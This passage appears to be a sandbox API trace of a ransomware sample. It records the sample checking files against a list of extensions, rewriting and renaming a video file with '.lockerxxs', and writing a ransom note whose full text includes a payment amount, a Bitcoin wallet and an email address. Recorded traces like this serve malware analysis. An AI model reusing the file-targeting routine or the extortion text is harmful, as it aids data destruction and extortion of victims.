[0091.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="OrUm.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" [0091.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.ems") returned 0 [0091.974] lstrlenA (lpString="*.ems") returned 5 [0091.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.db") returned 0 [0091.974] lstrlenA (lpString="*.db") returned 4 [0091.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.dbf") returned 0 [0091.974] lstrlenA (lpString="*.dbf") returned 5 [0091.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.myox") returned 0 [0091.974] lstrlenA (lpString="*.myox") returned 6 [0091.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.myo") returned 0 [0091.975] lstrlenA (lpString="*.myo") returned 5 [0091.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbw") returned 0 [0091.975] lstrlenA (lpString="*.qbw") returned 5 [0091.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbb") returned 0 [0091.975] lstrlenA (lpString="*.qbb") returned 5 [0091.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbm") returned 0 [0091.975] lstrlenA (lpString="*.qbm") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbo") returned 0 [0091.976] lstrlenA (lpString="*.qbo") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbx") returned 0 [0091.976] lstrlenA (lpString="*.qbx") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qba") returned 0 [0091.976] lstrlenA (lpString="*.qba") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qby") returned 0 [0091.976] lstrlenA (lpString="*.qby") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qbj") returned 0 [0091.976] lstrlenA (lpString="*.qbj") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.ofx") returned 0 [0091.976] lstrlenA (lpString="*.ofx") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.qif") returned 0 [0091.976] lstrlenA (lpString="*.qif") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.mye") returned 0 [0091.976] lstrlenA (lpString="*.mye") returned 5 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.mbox") returned 0 [0091.976] lstrlenA (lpString="*.mbox") returned 6 [0091.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.eml") returned 0 [0091.976] lstrlenA (lpString="*.eml") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.pst") returned 0 [0091.977] lstrlenA (lpString="*.pst") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.ost") returned 0 [0091.977] lstrlenA (lpString="*.ost") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.idx") returned 0 [0091.977] lstrlenA (lpString="*.idx") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.dbx") returned 0 [0091.977] lstrlenA (lpString="*.dbx") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.sql") returned 0 [0091.977] lstrlenA (lpString="*.sql") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.mdb") returned 0 [0091.977] lstrlenA (lpString="*.mdb") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.fdb") returned 0 [0091.977] lstrlenA (lpString="*.fdb") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.wab") returned 0 [0091.977] lstrlenA (lpString="*.wab") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.dat") returned 0 [0091.977] lstrlenA (lpString="*.dat") returned 5 [0091.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.txt") returned 0 [0091.977] lstrlenA (lpString="*.txt") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.jpeg") returned 0 [0091.978] lstrlenA (lpString="*.jpeg") returned 6 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.jpg") returned 0 [0091.978] lstrlenA (lpString="*.jpg") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.png") returned 0 [0091.978] lstrlenA (lpString="*.png") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.php") returned 0 [0091.978] lstrlenA (lpString="*.php") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.cs") returned 0 [0091.978] lstrlenA (lpString="*.cs") returned 4 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.cpp") returned 0 [0091.978] lstrlenA (lpString="*.cpp") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.rar") returned 0 [0091.978] lstrlenA (lpString="*.rar") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.zip") returned 0 [0091.978] lstrlenA (lpString="*.zip") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.html") returned 0 [0091.978] lstrlenA (lpString="*.html") returned 6 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.htm") returned 0 [0091.978] lstrlenA (lpString="*.htm") returned 5 [0091.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.xlsx") returned 0 [0091.978] lstrlenA (lpString="*.xlsx") returned 6 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.xls") returned 0 [0091.979] lstrlenA (lpString="*.xls") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.mp4") returned 0 [0091.979] lstrlenA (lpString="*.mp4") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.ppt") returned 0 [0091.979] lstrlenA (lpString="*.ppt") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.pptx") returned 0 [0091.979] lstrlenA (lpString="*.pptx") returned 6 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.doc") returned 0 [0091.979] lstrlenA (lpString="*.doc") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.dot") returned 0 [0091.979] lstrlenA (lpString="*.dot") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.docx") returned 0 [0091.979] lstrlenA (lpString="*.docx") returned 6 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.7z") returned 0 [0091.979] lstrlenA (lpString="*.7z") returned 4 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.tar") returned 0 [0091.979] lstrlenA (lpString="*.tar") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.bz2") returned 0 [0091.979] lstrlenA (lpString="*.bz2") returned 5 [0091.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.gz") returned 0 [0091.979] lstrlenA (lpString="*.gz") returned 4 [0091.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", pszSpec="*.mkv") returned 1 [0091.980] lstrlenA (lpString="*.mkv") returned 5 [0091.980] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" [0091.980] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" [0091.980] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv." [0091.980] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv.lockerxxs" [0091.980] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\orum.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0091.981] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15a2 [0091.981] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe4513b80, dwHighDateTime=0x1d5df34), lpLastAccessTime=0x407536*(dwLowDateTime=0x965e4c10, dwHighDateTime=0x1d5e6e1), lpLastWriteTime=0x40753e*(dwLowDateTime=0x965e4c10, dwHighDateTime=0x1d5e6e1)) returned 1 [0091.981] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.981] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x157c, lpOverlapped=0x0) returned 1 [0091.983] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv") returned="OrUm.mkv" [0091.983] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.983] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x157c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x157c, lpOverlapped=0x0) returned 1 [0091.983] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.983] CloseHandle (hObject=0x90) returned 1 [0091.983] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\orum.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\orum.mkv.lockerxxs")) returned 1 [0091.985] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b24ea00, ftCreationTime.dwHighDateTime=0x1d5e07a, ftLastAccessTime.dwLowDateTime=0x6776a820, ftLastAccessTime.dwHighDateTime=0x1d5e7a4, ftLastWriteTime.dwLowDateTime=0x6776a820, ftLastWriteTime.dwHighDateTime=0x1d5e7a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25000326, dwReserved1=0x4e00c4, cFileName="Su1 5RVwAJB1MG_Q1T", cAlternateFileName="SU15RV~1")) returned 1 [0091.985] lstrcmpA (lpString1=".", lpString2="Su1 5RVwAJB1MG_Q1T") returned -1 [0091.985] lstrcmpA (lpString1="..", lpString2="Su1 5RVwAJB1MG_Q1T") returned -1 [0091.985] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\OrUm.mkv") returned="OrUm.mkv" [0091.985] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="Su1 5RVwAJB1MG_Q1T" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T" [0091.985] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T") returned 93 [0091.985] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b24ea00, ftCreationTime.dwHighDateTime=0x1d5e07a, ftLastAccessTime.dwLowDateTime=0x6776a820, ftLastAccessTime.dwHighDateTime=0x1d5e7a4, ftLastWriteTime.dwLowDateTime=0x6776a820, ftLastWriteTime.dwHighDateTime=0x1d5e7a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0091.985] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.985] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b24ea00, ftCreationTime.dwHighDateTime=0x1d5e07a, ftLastAccessTime.dwLowDateTime=0x6776a820, ftLastAccessTime.dwHighDateTime=0x1d5e7a4, ftLastWriteTime.dwLowDateTime=0x6776a820, ftLastWriteTime.dwHighDateTime=0x1d5e7a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.985] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.985] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.985] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73c8000, ftCreationTime.dwHighDateTime=0x1d5d938, ftLastAccessTime.dwLowDateTime=0xe5811b70, ftLastAccessTime.dwHighDateTime=0x1d5e483, ftLastWriteTime.dwLowDateTime=0xe5811b70, ftLastWriteTime.dwHighDateTime=0x1d5e483, nFileSizeHigh=0x0, nFileSizeLow=0xcaa0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1FpdUu4EPqD5NE4.swf", cAlternateFileName="1FPDUU~1.SWF")) returned 1 [0091.986] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1FpdUu4EPqD5NE4.swf") returned 1 [0091.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1FpdUu4EPqD5NE4.swf") returned 1 [0091.986] lstrcmpiA (lpString1="", lpString2="1FpdUu4EPqD5NE4.swf") returned -1 [0091.986] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\*.*") returned="*.*" [0091.986] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" [0091.986] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\") returned="" [0091.986] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt" [0091.986] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\su1 5rvwajb1mg_q1t\\how to decrypt files.txt")) returned 0xffffffff [0091.986] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\su1 5rvwajb1mg_q1t\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0091.990] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.990] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: 